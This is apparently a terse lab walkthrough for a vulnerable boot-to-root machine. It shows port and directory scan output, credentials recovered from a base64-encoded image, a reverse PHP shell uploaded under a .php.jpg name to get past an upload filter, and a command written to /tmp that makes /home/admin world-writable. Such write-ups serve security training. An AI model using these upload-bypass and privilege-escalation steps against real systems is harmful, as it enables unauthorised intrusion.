REVERSE PHP SHELL

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

| http-methods:

|_ Potentially risky methods: TRACE

| http-robots.txt: 3 disallowed entries

|_/cola /sisi /beer

|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

===

[+] Url: http://192.168.2.84/fristi

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

===

2020/03/26 14:52:38 Starting gobuster

===

/uploads (Status: 301)

base64 -d hash

base64 -d hash > hash.png

feh hash.png

username:eezeepz

password:keKkeKKeKKeKkEkkEk

upload get reverse php shell

rename to php.jpg

echo "/usr/bin/../../bin/chmod -R 777 /home/admin" > /tmp/runthis